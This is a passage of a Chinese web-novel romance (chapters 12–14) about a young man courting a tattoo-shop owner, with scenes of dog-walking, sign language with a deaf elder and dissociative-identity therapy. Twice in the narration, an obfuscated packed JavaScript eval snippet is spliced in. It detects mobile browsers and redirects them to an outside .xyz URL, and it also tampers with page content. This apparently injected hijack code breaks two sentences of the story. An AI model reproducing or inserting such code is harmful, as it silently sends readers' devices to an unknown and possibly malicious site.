“你今天开的是那辆保时捷吗?”向嘉洋问,“陈老板,我还没有开过这么好的车呢,我有驾照的,驾龄两年,虽然上路不多,但没出过差错。你相信我一次。” 他都这么说了,陈述也不磨叽,干脆地把车钥匙丢给向嘉洋。 举手投足间带着股洒脱。 向嘉洋手快地接住,手指转着钥匙圈,冲旁边的简凡扬起下巴。像是得到什么战利品,在炫耀。 “...厉害。”简凡比大拇指,“我佩服。” “那你们路上小心,到家发个信息,拜拜啊洋!” 向嘉洋遥遥冲他挥手,拿着陈述车钥匙上车。 保时捷开起来和普通SUV还是不一样,向嘉洋刚坐下就觉得舒服,车内很宽敞,陈述跟着他进来,带上副驾驶的门。 “安全带。”向嘉洋正儿八经道。 陈述本来就打算系,看向嘉洋这副模样,笑了:“什么意思?” “没看出来吗,我也是成熟的大人。”向嘉洋学着他的模样把着方向盘,用手指点了点,“不是事事都需要陈老板你照顾的。” “看出来了,成熟的大人,开车吧。”陈述说。 陈老板今晚格外好说话,向嘉洋平稳地开上马路,瞥一眼导航,定位在南汐巷的别墅区,他感叹一句:“房子地段好,这辆车也好。” 陈述不懂向嘉洋在憋什么坏招,接了话:“然后呢?” “陈老板你对谁都好吗?” 这话陈述不知道怎么回答。 他没告诉向嘉洋,他们其实早就认识。 首先向嘉洋不一定会在风铃岛久留,之后天南海北,再见面难。彼此保留神秘感、距离感、分寸感,也算给资助关系画上句号。 其次还是陈述自己的问题。姚小川没说错,他的确是个掌控欲很强的人。 雷达被他养了一星期就学会了定点尿尿。 如果他告诉向嘉洋,我是你的资助人,向嘉洋肯定会不自在。 他不想让向嘉洋不自在。 这样就很好,向嘉洋偶尔一次的挑衅,没那么规矩的玩笑,或者别的什么,至少能让陈述感觉到这个人是鲜活的。 向嘉洋对资助人是什么态度,陈述心里清楚,亦父亦兄,亦师亦友。一旦戳破,闹腾的向嘉洋可能就不在了。 以后见到陈述指不定还得冲他鞠躬,更严重的可能要给他端茶倒水。 那多没意思。 能够看见一个人的天性,并任由它释放,是一种尊重。 而一旦说开,陈述会控制不了自己地要管着向嘉洋。以前是人在凉山,手伸不到那么远,他也想给向嘉洋喘息的机会,上学已经足够辛苦。 现在不同,人就在手边,他拎着后脖颈就能抱起来,耳提面命。 比如说刚才他就没忍住,其实不该把向嘉洋叫出去说那几句。他想关心,奈何找不到合适的理由站住脚。 车内好一会儿没有动静,向嘉洋都以为陈述睡着了。他侧过头,发现陈述眉毛蹙着,倒是精神。 “很难回答吗?”向嘉洋把着方向盘,暗道冲动,“我其实就是想说陈老板你是个好人。” 陈述于是摇头。 “我没那么多心思关照其他人。” “雷达喜欢你。”他补充,声音仍旧低沉好听,缓缓地,“喜欢你才不小心撞了你。” 向嘉洋:“这个意思是说,你现在是在给你儿子雷达还债?” “你说是就是。”陈述笑道。 切。 向嘉洋一拳打在棉花上,他发现陈述虽然好说话,但本质还是水平高。你想跟他套近乎,他有正当理由回应你,你想从他嘴里撬出点偏爱,他仗着年长叫你不敢进犯。 难度颇高,不过没事,向嘉洋有得是劲头和他周旋。 车开到别墅区,陈述刷脸叫保安放行。 向嘉洋第一次来到这种寸土寸金的小区,安静,奢华,但并不张扬,反而是内敛的,周围绿化很好,连空气都比外面清新,还靠海。 他们才刚下车,一团黑影就从栅栏里冲出来,爆发力极强。 陈述当即命令:“雷达,停下。” 比向嘉洋膝盖还高的杜宾老老实实蹲下了,仰头看向嘉洋,杏仁眼充满期待,吐着舌头直哼唧。 “它怎么了?”向嘉洋伸手挠雷达的下巴,又揉揉它脑袋,转头问陈述,“饿了?” “不是。”陈述领着向嘉洋进门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177242|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在玄关给他拿了一双新拖鞋,“它想出去逛街,浑身都是力气,心都飞在外面。” “跟你一样爱玩儿。”陈述说。 怎么说到我身上了! 向嘉洋蹲下和雷达贴贴,小声,“你爸是老古董吗。” “那我带它去,我帮你遛狗,陈老板。”向嘉洋站起来自告奋勇。 陈述倒了杯水在桌上,闻言抬头看他:“你确定?” “啊。确定啊。”向嘉洋问,“怎么了?” “你拉不住它。” 陈述把水杯往前一推,意思已经很明显地摆在那,他就懒得多说了,转身去冰箱整理东西。 向嘉洋口干舌燥,嘴唇都有些干裂,他喝完一杯水润嗓子,才不满:“我怎么拉不住它,我八尺男儿孔武有力,才思敏捷举世无双。” 陈述笑起来,没有接话。 向嘉洋这才环视了一圈,打量陈述的家。 他居然就这么堂而皇之轻而易举地进来了,这在向嘉洋意料之外。他还以为自己需要主动申请,问陈老板你不请我进去喝杯水吗,陈述才会邀请他。 室内装潢是极简风,客厅大,外面还有个游泳池。 向嘉洋觉得这里哪儿都好,就是好像少了一点人气。不知道的还以为陈老板一周才回来住一次。 雷达在沙发边趴了会儿,不满足,起来又走到向嘉洋腿边,蹭他。 然后继续哼哼唧唧。 “你保证不会在外面爆冲,我就拼死把你从你爸手里抢走,带你出去遛圈。”向嘉洋低头看他,严肃地说。 雷达是狗狗成了精,直接汪了声。 “陈老板,止咬器在哪里?”向嘉洋直接问,“半小时后我帮你送雷达回来,然后我回家。你不同意我就赖在这不走了。我撒泼打滚让你见识什么叫无赖!” 他说完雷达就转了个身,虎视眈眈盯着陈述,配合着叫了两声。 “.....” 陈述单手撑在岛台边,很没辙地指了指客厅,失笑:“止咬器在那。有事打电话给我。” 向嘉洋眼睛一亮。 他牵着雷达撒丫子就跑,一人一狗齐头并进,背影看上去格外欢快。 陈述盯着渐行渐远的背影,忽然觉得这栋别墅好像冷清了很多。 * 向嘉洋把雷达送回来后功成身退,明天周末他不用到钛谷店,陈述倒是安排了纹身。 顾客说有事要迟到十分钟,陈述把雷达从地下室放上来,忽然给了一个指令。 “来。” 雷达慢吞吞跟着陈述,一开始还有些迷茫,直到陈述领着他到了洗手间门口,打开门。 雷达东嗅嗅西嗅嗅,最后停在了卫生间门边的那个角落里。 它闻到向嘉洋身上的气味了。 对狗狗来说,人类身上或多或少有些气味,是独特的。 雷达又是退役军犬,狗中之王。 它来回嗅几下,仰头看陈述,满脸都是警惕。因为它闻到了“不安”和“焦虑”。 以及一种带硝烟的磁场。 代表这个气味的主人可能处在危险里。 陈述继续给了它第二个指令。 看到这个手势的瞬间,雷达骤然绷直了身体,紧立蹲坐。 这是搜救训练中的一级手势,代表 “救援”,不是人命关天的场合,一般不会对雷达用这种手势。 自从抗震救灾之后,雷达也多年没有见到过这个手势了。 它看向陈述,认真而充满责任感。 雷达收到! 如果以后有类似的情况,雷达会第一时间找到向嘉洋。 陈述于是弯腰揉揉它的脑袋。 ———— —— 13. 温柔的夜 * 向嘉洋出去吃饭这一遭回来收获颇丰。 他没让陈述帮自己打车,遛完雷达后自己走回民宿。 由于心情太好,向嘉洋一路上都在小声哼歌,蹦蹦跳跳,就差插上翅膀飞起来。 简凡给他发来消息:[洋,你回家了吗?] 向嘉洋说在回的路上。 简凡:[厉害,我是真的佩服。] 向嘉洋:[怎么说?] 简凡:[要不说你这种锯嘴葫芦的追求方式有效果呢?果然是高手啊,对我们老板有意思的人里,你是唯一一个去过他家的] 向嘉洋美坏了。 他给简凡发了个表情包,很神气。 [等着,我还有更厉害的。] 简凡:[得。你加把劲,把我们老板收了吧。] 简凡:[他再寡下去我们都怕他得病。] 追陈述有一点很好,向嘉洋根本不用担心陈述有什么忘不了的前任或是初恋,因为他压根就没有。 向嘉洋的目标是让千年铁树开花。 * 在钛谷店帮忙盯着前台的期间,向嘉洋还买了手语书和网上的教学视频。 萧思越介绍的聋哑阿公已经到钛谷了,陈述给他安排的活就是日常的打扫,阿公快六十岁,但身体健硕,除了擦擦桌子和清洗用具外,还把两个门店的地面全拖干净了,地板比连还亮堂。 但是店里的学徒和他交流有难度,阿公说不了话,也听不见,他是跟萧思越爱人系统学习的手语,自己打得也不熟练,只能看懂,不太会使用。 为了让阿公更好地融入钛谷氛围,向嘉洋当天就买了手语书,埋头苦啃,扫二维码跟着视频教学,已经能掌握基础的交流。 他跟阿公在花瓶旁比划,说“晚上店里有晚饭,你可以留下来一起吃”。 阿公看懂后连连道谢,看着向嘉洋的眼神都充满了光。 作为钛谷店内目前唯一一个能和阿公无障碍交流的人,向嘉洋瞬间取得阿公信任。 陈述给人纹完身出来,刚好看到阿公像尾巴似的跟在向嘉洋身后,走到哪跟到哪。 一老一少还不够,雷达也亦步亦趋地跟着他两。 纹身室内开了冷气,但陈述今天做的图比较复杂,时间长了他额头有一层汗,棱角分明的脸更显英俊,混血让他五官天然优越。 向嘉洋本来在和阿公比划什么,看见陈述后一下朝他小跑过来。 “陈老板,我撵不走雷达!”向嘉洋告状,“它今天好像特别粘着我。阿公怕大狗,他们暂时还没办法和平共处。” 陈述一下笑了,没说缘由。 他摘了手套在向嘉洋后脑上轻轻摁了摁,手指还顺了几下发丝。 这是一个安抚意味的动作。 说不上很亲密,但对向嘉洋而言,这是冰镇杨梅。 和青柠汽水泡在一起,是恋爱的味道! “说了它喜欢你。”陈述打了个响指,给指令,“雷达,去地下室。” 蹲在地上守护阿公和向嘉洋的杜宾马上起立,雄赳赳气昂昂、功成身退般地下楼梯。 晚饭时间向嘉洋带阿公取了外卖,钛谷学徒多,盒饭加菜一共十几个盒子,摆了一大桌,阿公因为是聋哑人,总觉得自己和别人不同,坐在座位上有些拘谨,向嘉洋就干脆帮他和一众如同饿死鬼的人手里抢菜,还帮阿公摆好了碗筷。 虽然年纪小,可是向嘉洋并非不会照顾人,相反,他很懂分寸,体贴细心,不会让任何人在面对他时感到不舒服。 陈述可能自己都没意识到,他的视线在向嘉洋身上停留的时间越来越久了。 “看傻了吧?”简凡贱兮兮地凑过来,手抵上陈述肩膀,“述哥,过了这个村没那个店了,我们洋很受欢迎的,男女老少通吃。” 陈述拍开他手,散漫一笑:“别没个正经。” 他照例没有把简凡的撺掇当一回事。 晚上陈述安排了穿孔,属于加班,钛谷其实一般九点后不营业,店里员工几乎都走了,陈述一直熬到了十点多才送走最后的客人。 忙完一天后的疲惫感袭来,陈述站在消毒器械旁揉了揉自己发酸的脖颈,拿起手机,里面全都是工作消息。 他忽然想到,要是向嘉洋不在店里了,那可能就没人能和阿公无障碍交流了。 会有些可惜。 陈述揉着发酸的脖颈走出来,钛谷待客区亮着一盏不太晃眼的灯。他脚步一顿,视线转了圈,在前台捕捉到个黑色的脑袋。 向嘉洋伏在桌上,呼吸平稳,好像睡着了。 陈述动作慢下来,随后走过去。 可能是听到脚步,向嘉洋抬起头,和陈述对视。 入夜的风铃岛像童话般有魔力,向嘉洋一睁开眼睛看见陈述的帅脸,心情都云开月明。 “陈老板。”向嘉洋起身和他打招呼。 陈述问他:“怎么还没走?” “等你呀。”向嘉洋说。 “等我?”陈述微微扬起眉。 “简凡说你今晚要加班,他们都走了,我想着你要是一个人出来会不会太孤单,万一你怕黑怎么办?”向嘉洋的语气太过坦然了,好像在和朋友说话般,“那我肯定要留下来等等你。” 他每一次开玩笑说些什么,陈述都是真的觉得好玩。 怕黑的谬论暂且不提,陈述笑了:“确定不是想蹭车?” 向嘉洋很喜欢陈述那辆保时捷,送他回家时一路上都爱不释手地摸着方向盘,把雷达送回去也要念叨两句,叮嘱陈述下次开车出来时要小心些,因为向嘉洋倒车入库时没压准线,他技术还是有点生疏。 陈老板有雅兴和他闲聊,向嘉洋也顺着接话,笑着唇边有很浅的酒窝。 “怎么办,还真的是想蹭车,陈老板你下次不要戳穿我!” 陈述说送他回家,“走吧,辛苦了。” “不辛苦不辛苦。”向嘉洋跟过来,和陈述保持半米的距离,笑,“陈老板辛苦了,我坐着等都累,你还要站着给人打钉子,肯定累坏了。” 向嘉洋说话声音和钛谷店门口挂着的风铃一样。 叮叮当当,清脆,干净,悦耳。 陈述有种自己在被他哄着的错觉。 “陈老板,你家还有别的车吗?”向嘉洋问。 “有。”陈述拉开副驾驶车门,手抵在上面,护着向嘉洋脑袋,看着他坐进去后才道,“喜欢就送你一台,自己挑。” 向嘉洋:? 他系着安全带的手都僵住了,不可思议地缓缓转头,看着陈述的侧脸,“果真?” “总裁,我需要付出什么代价?”向嘉洋礼貌询问。 陈述低低笑了几声。 很好听,带着磁性,像羽毛撩拨耳廓。 “不用你出卖身体。”陈述说,“放心。” 向嘉洋嘴比脑子快:“我出卖一下也不是不行。” 这下轮到陈述沉默了。他眯起眼睛,视线往向嘉洋那扫了一下。 这一眼让向嘉洋瞬间正襟危坐。 果然,几秒后陈述就道:“哪儿学来的?” 长辈要训话了。向嘉洋想。 陈述:“说了不需要你出卖身体。跟别人就更不行。” “缺什么找我,懂吗?” “懂了。”向嘉洋应得乖巧,“不找别人,找你。” 他这话讲得暧昧不清模棱两可,陈述车速都开得快了些,但到底没再继续说什么。 保时捷开入南汐巷。 晚风里带着海水的咸湿,打在脸上如柳絮拂面。 黑车缓缓停在民宿门口,路灯下有蚊虫和飞蛾聚集,橘黄灯光的笼罩中,一个佝偻背影的人影站在那,向嘉洋立刻下车走过去。 “阿公?”向嘉洋扬起手挥挥。 阿公看见了他,但没想到向嘉洋会从陈述的车上下来。 “你怎么在这里,阿公。”向嘉洋在灯光下比划手语。 阿公穿着洗到发白的褐色短袖,从地上拿起一个竹箩筐,递给向嘉洋。里面是两个小西瓜,瓜皮上还带了一点土,像是刚从地里挖出来的,剩下的塑料袋则装满了颜色鲜艳的青椒红椒,圣女果,还有土豆。 “给我的?”向嘉洋问。 阿公点头,他张嘴,嘴唇蠕动,最后还是给向嘉洋比划手语,不太成熟,向嘉洋看了一会儿才懂:“谢谢我和你一起吃饭?” “是说帮你夹菜吗?” 向嘉洋笑容灿烂:“没关系!阿公你太客气!” 他在风铃岛住了一段时间后,说话语调也和岛上的居民一般带了点吴侬软语的意味,稍有区别,但反正是南方口音,暖洋洋的,黏糊而亲切,很可爱。 向嘉洋抱着竹箩筐,和阿公弯腰鞠躬道谢。 陈述就站在车边,阿公不仅怕大狗,也怕大狗的主人。或许因为陈述是混血,他的五官总给人一种不好惹的感觉,阿公在钛谷也几乎不和陈述交流,最多和简凡一起擦擦桌子。 “啊。”阿公艰难地发出一个单字音节,扯了扯向嘉洋的衣服。 “怎么了?”向嘉洋问。 阿公伸出手,干枯如老树皮的手指上全是岁月的痕迹,在向嘉洋眼前晃了晃,比了个“一对”的手势。 两拇指还抵在一块,贴了贴。 向嘉洋一下咳嗽起来。 “在说什么?”陈述走过来。 向嘉洋看他:“阿公问...” “嗯?”陈述没听清,压下腰,“什么?” “阿公问我们是不是一对。”向嘉洋脆生生道。 “....” “这可不是我说的,是阿公问的。”向嘉洋欲盖弥彰道。 陈述顿住,说不上来是无奈还是什么,他站在那没动,笑着对阿公摇了摇头。 阿公却开始了一串有些激动的演绎。他先是高高举起手,拔地而起,又指指眼睛,做了个把什么东西推到脑门上的动作。 向嘉洋连蒙带猜:“...是说人吗?” 他两指并拢做小人走路状。 阿公“啊啊”地点头。 “戴墨镜?这么高?”向嘉洋说,“萧思越?” 阿公在琢磨向嘉洋的嘴型,好像对了,他又继续比划,这次是指着喉咙,然后大概举了个高度,再伸手在胸前划了一圈,书写状,像是画画的姿态。 恰好向嘉洋听陈述介绍过,萧思越爱人是个艺术家。 这么搞完向嘉洋懂了,他给陈述翻译:“阿公的意思是说,萧思越和赵音澜是一对儿,他见过的。他问我们是不是也和他们一样。就是...两个男生。” 阿公继续比划,这次是平举两只手,交互,向嘉洋有些看不明白了,干脆照着自己的想法翻译:“阿公说我们看起来很般配。” 尽管理智告诉向嘉洋点到为止,但是风铃岛的空气这么美好,他这么年轻,大着胆子瞎撩一下又有何妨? “嘿嘿。”向嘉洋傻笑一声,自己找补,“阿公好像对我们很好奇。” 陈述看着向嘉洋,反问:“你觉得呢?” “觉得什么?” “我们般配吗?” “...” 向嘉洋耳朵瞬间烫了,山芋被丢回手里的滋味犹如坐过山车。 陈述倒是没有等向嘉洋回答,他和阿公比划了下,也直接开口道:“误会了。” 高手。 陈老板是一个高手。向嘉洋想。 他不免有些失落,虽然这也没什么,但陈述义正言辞说阿公是误会他们了,撇清关系,向嘉洋还是有些挫败的。 路漫漫。 阿公指了指车,觉得奇怪。 不是一对,怎么会这样? “‘如果’会比划吗?”陈述忽然问。 “如果?”向嘉洋回过神,“假如的情况吗?这样。” 他做了个动作。 陈述点头,继续:“‘更好’呢?” 向嘉洋不知道。 他现搜的。 有手机就是好,向嘉洋马上找了个教学视频。 陈述:“就这两个词,你告诉阿公。” 向嘉洋愣了。 什么意思? 如果,更好? 向嘉洋虽然不解,但照做。 阿公露出震惊的表情。他看看路边停着的车,又看陈述帮向嘉洋拎着竹箩筐。 他懂了。 如果他们是一对,陈述会做得比现在更好。 可能就不止是送他回家那么简单。 阿公忽然拦住了向嘉洋。 “慢点阿公。”向嘉洋很怕阿公摔倒,赶紧抓住老人家的手臂,“不着急。” 阿公从箩筐里取出来一个小西瓜,递给陈述。 “阿公说是送你的。”向嘉洋翻译着阿公的手语,转而又逗乐道,“阿公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177243|180770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本来两个都是我的,你怎么给陈老板一个,那我不就少了吗?” 阿公摇头,一本正经地指指陈述,然后做了个哗啦啦的动作。 意思是只要向嘉洋想要,陈述能变出来一卡车的西瓜,够他吃一整个夏天。 太晚,老人家和他们摆摆手就走了,向嘉洋问陈述要不要送送阿公,他摇头,说阿公家就在附近,喜欢自己逛街,非要送他阿公反而会生气。 作为土生土长的海岛人,阿公有自己的生活方式,不用别人担心。 “那我进去了。”向嘉洋抱着箩筐站在屋檐下,头顶一串水母风铃透着黄色的灯光。 “去吧。”陈述看着他。 陈老板靠在保时捷车门边上,没有急着上车,向嘉洋冲他笑了下,转身上楼。民宿的声控灯随着向嘉洋的步伐而一盏一盏亮起,最后停在棕榈叶背后的某扇窗口前。 向嘉洋忽然从窗户往下看,和陈述对上视线。 陈老板举起手,车钥匙在他手指上转了一圈,朝向嘉洋挥了挥。 向嘉洋砰地一下关上窗户,飞到床上抱着枕头。 今日日记。 joe,陈老板送我回家(*^U^*) 我们拿到了很甜的西瓜,在冰箱,是阿公给的,你可以品尝,很冰很爽口,还没有籽。 中学物理笔记我已经为你整理,学海无涯,加油(虽然我知道你也只是为了打发时间) 下周是我们和治疗师约定的时间,准备离岛,做EMDR,即眼动脱敏再加工治疗。 向嘉洋每半年就要去见治疗师,治疗师会根据他的情况制定更详细的方案。 每个DID患者都会有固定的治疗师,除非有特殊情况,否则不会随意更换,因为患者与治疗师建立信任关系需要时间。 到了要去看病的日子,向嘉洋提前和陈述请了假。他说自己要离开风铃岛两天。陈述很快回复了他,说可以。 顺便交代了向嘉洋,让他路上注意安全。 向嘉洋的治疗师是精神科专家,叫欧文,在心理创伤方面有极高的成就,相关研究与论文一直走在领域前沿。 熟悉的治疗室内有消毒水气味,欧文戴着眼镜,风度翩翩。他虽然是个胡子拉碴的大叔,不过讲话很温柔。 “坐,嘉洋。”欧文替他拉开了椅子。 向嘉洋正在听着欧文给他挑选的歌,治疗开始之前,他拥有蓝调时刻。 “近来还好吗?”欧文笑着问。 “开心。”向嘉洋说。 欧文有些惊讶。 他接手向嘉洋已经有四年之久,做过的眼动脱敏不下七次,然而没有哪一次向嘉洋如此直白且坦然地告诉他,最近开心。 这是一个全然放松的状态。 如此重要的治疗,一般治疗师会和患者家属进行简单的沟通。向嘉洋没有家属,欧文只认识他的男友樊煜。 在向嘉洋与欧文谈话时,欧文告诉过向嘉洋,择偶需要慎之又重。 同样,找上樊煜后,欧文也说过差不多的话,他告诉樊煜,向嘉洋情况特殊,就像不能频繁更换治疗师一般,他最好也不要频繁更换男友。 所以欧文希望樊煜能尽量长久地陪着向嘉洋,也希望樊煜能努力和向嘉洋发展一段稳定的感情。 当然这是向嘉洋和樊煜之间的私事,欧文不便插手太多,他只是提醒过一两句。 没想到,向嘉洋已经和樊煜分手了。 欧文温和地问:“嘉洋,上次我们讨论了可能用EMDR来处理joe记忆中有关“柜子”的画面。今天我们需要和joe确认一下,是否准备好尝试这一步?以及我们需要一个信号,如果过程中任何部分感到太痛苦需要停止,怎么告诉我?” 向嘉洋闭着眼睛。 他的表情看上去有些纠结。 不过只是转瞬间。 “joe说可以试试,但必须非常小心。他说他害怕。” 欧文:“joe,我听到了,你很害怕。我不是要你真的回到柜子里。我们只是在安全的治疗室里,一起看看照片。我会一直在这里陪着你,哥哥也会在你身边保护你。任何时候你觉得受不了,就让向嘉洋举起左手,或者大声说‘停’,我会立刻停下来。这样好吗?” 三分钟过去。 joe:“我同意了。信号是举左手。” 眼动刺激的过程漫长而煎熬。 与以往的反复不同,今天欧文只对向嘉洋进行了三回合的刺激。 确认主导人格回归,欧文整理和存放好所有的材料。 照例来到疗后的谈话抚慰流程。 此刻他不是治疗师,而是向嘉洋的朋友。 “嘉洋。”欧文的语气十分温柔,他的笑容也是,“我为你高兴。这次治疗比以往都顺利,量表结果显示,你的各项数值都在优秀区域。” “能不能告诉我,发生这种变化的原因是什么?最近你遇到了什么有趣的事情?” 向嘉洋说:“我喜欢上了一个很好的人!” 欧文挑眉,他笑着问向嘉洋:“你们已经在一起了吗,还是正在互相了解的阶段?你喜欢他什么?” “还没,我正在追他。”向嘉洋一本正经道,“一开始我只是欣赏他的脸,现在不同,我想要他的灵魂!” “听上去像个小巫师。”欧文哈哈大笑,“那么,祝你成功。” “这次的治疗已经结束,向嘉洋,拉开门走出去,生活在迎接你。” * 坐上回岛的渡轮,向嘉洋在甲板附近晒太阳。 joe不仅回复了他的日记,还批阅了向嘉洋截图的聊天记录。 joe:什么东西。? -我有说我要看吗? -我请问呢 -陈述居然还会用可乐可的表情包 -谁允许了?! -那是我们两个的小狗! -老东西手段真高超 光是看到他的留言,向嘉洋都能想象到joe咬牙切齿的场景。 向嘉洋问他,那如果要在陈述和樊煜之间选一个呢? joe:两个都滚。 joe:如果你非要选,我建议你选“和” 向嘉洋:“...” 他不管joe的尖叫,兀自给陈述发了信息。 [陈老板,我想请你吃个饭] ———— —— 14. 我叔叔修无情道 * 陈述暂时没回这条信息,可能在忙。 向嘉洋先回民宿收拾了东西。 张凤来敲门问他:“小向,你回来啦?” “对。”向嘉洋拉开门,“怎么了张阿姨。” “楼下说淋浴的水压不够了,我下午叫了师傅来修,要进你洗手间一趟,方便吗?” “可以的。”向嘉洋笑,“我下午去钛谷,不在,张阿姨你帮忙盯着点。” “没问题,我看着师傅弄,你去忙你的。” 向嘉洋说走就走,他本来今天还在休假,但几天不见陈老板,他有点眼馋。 陈述今天安排的是个满背纹身,已经从早上纹到下午,一刻没听过,饭都没来得及吃。他工作时像无瑕的雕塑,认真,专注,沉稳。 “电话响了,接吗述哥?”简凡拿起桌上的手机。 “谁?” “我看看。”简凡扫了眼备注,“你弟。” “你接。”陈述表情很淡。 他爹是富豪,家里亲戚总想着要陈晟帮衬,樊煜他老妈是西班牙人,和陈述老妈莎宾娜是亲姐妹,陈晟又是个情种,对莎宾娜一见钟情,巴不得八抬大轿迎娶进门。老妈已经去世快十年了,陈晟没有再爱过别的女人。 故而陈晟总是能帮着樊煜一家就帮衬着点,莎宾娜就这么一个亲妹妹。 其实他们老陈家一脉相承都是情种,从陈平雷那一脉开始就为情所困,主打一个忠贞不渝,盖世英雄难免无常,荣华富贵犹如春梦的事在他们老陈家不可能发生,如果陈述像他表弟那样吊儿郎当玩世不恭,在他们家家规里是要受鞭刑伺候的。 棍棒消孽障。 “喂?”简凡接了,“小樊总别来无恙啊。” “我哥呢?”樊煜听出是简凡声音,“他在忙?” “嗯,纹身呢,你有啥事直接说。” “你叫他接电话吧,我和你不方便说。”樊煜讲话总有些莫名其妙的高傲感,“你听不懂的,公司里的事。” “我草,你他爹的装什么?”简凡直接开骂,“你爱说不说,老子没工夫伺候你。” 樊煜知道简凡做过开颅手术,算个病号,他不敢真惹火了简凡,万一出什么事他担待不起,于是硬着头皮:“前段时间我谈的项目有进展了,和那边老总吃了顿饭,但对方态度还是不太明显,我怕竞标激烈,最后拿不下来,听说我哥和对方是大学同学,我就想着能不能让我哥帮忙通个气。” “那你就等着吧。”简凡甩脸色道,“述哥在工作的时候从来不接电话,忙完他会回复你。” 说完也不给樊煜反应的机会,直接挂断。 陈述握着纹身枪,没说话。 客户觉得好笑:“陈老板,你是故意的吧?帮你们店小朋友出气是不是?” 陈述看客户一眼,淡笑:“躺好别动,割线了。” 简凡也清楚,樊煜都说是大事儿了,陈述还不搭理他,其实就是想让简凡出口恶气,之前樊煜来过店里一次,话里话外笑话简凡的寸头,问他怎么不留个别的发型,会更适合他。 当时简凡就气得整晚没睡着,差点被气哭。 但又怕弄僵了陈述和他表弟的关系,一直没跟陈述说。 过了几分钟,陈述电话又震动了。 这次简凡不耐烦地扫了眼,马上变了表情:“哟,述哥,你电话。” “谁?” “向嘉洋。” 看陈述腰板挺直,简凡贱了吧唧问:“这个接不接?” 陈述偏了偏头,“拿来。” “亲自接啊?”简凡快笑死了,殷勤地把手机放他肩膀上,看陈述耳朵夹着,还贴心地给他关了免提,不给一边的客户听到谈话内容,“来来来,你们聊吧。” “喂?”陈述低沉的嗓音响起。 “陈老板!我给你发的信息你怎么没回?” “没看见。发了什么?” “我也猜到你是没看见,没关系,现在这个暂时不重要。”向嘉洋那边环境音很乱,好多人在说话,还有吆喝声,什么走过路过不要错过,跳楼价,清仓大甩卖,“我路过集市看到一个很适合钛谷店的小摆件,我想买了放在前台,能吗?” “你喜欢就行。”陈述说。 “真的?”向嘉洋问,“那我再买个别的什么,单独送给你行不行?不是什么很贵重的,一点心意,多谢你这段时间帮助我!” 陈述忽然觉得向嘉洋就这样谢来谢去的也很有意思。 他倒是要看看向嘉洋还能谢给他多少东西。 “行。”陈述笑道。 向嘉洋可高兴了,一时间忘记要挂电话,他跟老板讲价时连孙子兵法都搬了出来,最后成功凭借三寸不烂之舌和那张很美味的皮囊,砍了五十块,将小摆件收入囊中。 陈述一直侧着头,夹着电话在听那边的动静。 烟火气仿佛能从冰冷的屏幕里透出来。 向嘉洋没说挂断,陈述就也没挂,简凡都奇怪他们两能聊什么,聊这么久。 恰好旁边是个心灵疗愈的小摊,摊主自称主理人,二十多岁一个男生,很年轻,手上盘着水晶串。 “你是不是钛谷的运营?”他站起来,很自来熟地问,“你们店的老板现在是单身吗?” 向嘉洋脚步停住。他看着那人,笑:“怎么了?” “我听gay吧那群人说钛谷老板特别帅,我还没亲眼见过呢。”小哥眼睛都发光,像一头饿狼,“真那么帅我要泡他!” 向嘉洋这才想起电话还没挂。 走在路上都能随机刷新一个竞争对手,向嘉洋不得不警惕。他道:“不可以哦,我叔叔修的是无情道,他没有七情六欲。你会毁了他的道心和道途的。” 主理人:? 电话里传来一声意味不明的笑,像电流过耳般。 “我是叔叔?”陈述问,“修的还是无情道?” 向嘉洋没敢在心灵疗愈这个摊位久留,和小哥摆摆手就跑了。他边走边道:“那怎么了,难道陈老板你想和他谈吗?” “不想。” “所以我这样宣传你也没错嘛。”向嘉洋言之凿凿。 “到哪了?”陈述问。 “快了,还有两条街,陈老板一会儿见。”向嘉洋说。 “一会儿见。” * 向嘉洋到店,陈述刚好出来。大图一天纹不完,客人下午还有事,先走了,陈述今天就安排了这么一个单子,接下来时间都很空闲。 他看见了向嘉洋发的信息。 说是要请陈述吃饭。 说实话,这些年想约陈述吃饭的人很多。 要么是看中他的背景和资源,想攀关系,要么是看中他,想和他发展发展。 陈述有一万种理由可以拒绝。 那些人什么心思,陈述不用猜都知道。 而向嘉洋想请他吃饭,陈述得猜一猜了。 这段时间向嘉洋从没有明确表达过喜欢他,或是看上了他的意思。陈述也没往那方面想。然而成年人彼此心照不宣,你喜欢男的,我也喜欢男的,你约我单独吃饭,那和店庆一帮人聚会的性质就截然不同。 即使名义上是感谢,报答,或是还人情,单独吃饭总还是不一样。 直白而言,那多少会有些亲密。 陈述仍然没有回复这条信息,主要是没来得及,走出来的瞬间他就和前台的向嘉洋对上视线。 桌上摆了两个礼品袋,一个蓝色一个白色。 向嘉洋从蓝色的里面取出来了...一只招财狗。 “这就是你说的,适合钛谷的小摆件?”陈述不免发笑。 “对。”向嘉洋郑重点头,“不觉得很合适吗。它虽然是未裁耳未断尾的杜宾,但也算活脱脱的雷达小手办。” 这个摆件的精妙之处在于,招财的并不是狗爪,而是尾巴。后面装了电池,尾巴会以固定的频率摆动。 胸前则挂了招财的口水巾。 “嗯。”陈述走过去,“那我的呢。” “这个。”向嘉洋把白色的袋子给他。 里面是挂件,同款杜宾,不过更小巧,还是毛绒材质。这么小巧的挂件就算有再凶再酷的小狗造型,也与陈老板的风格丝毫不匹配。 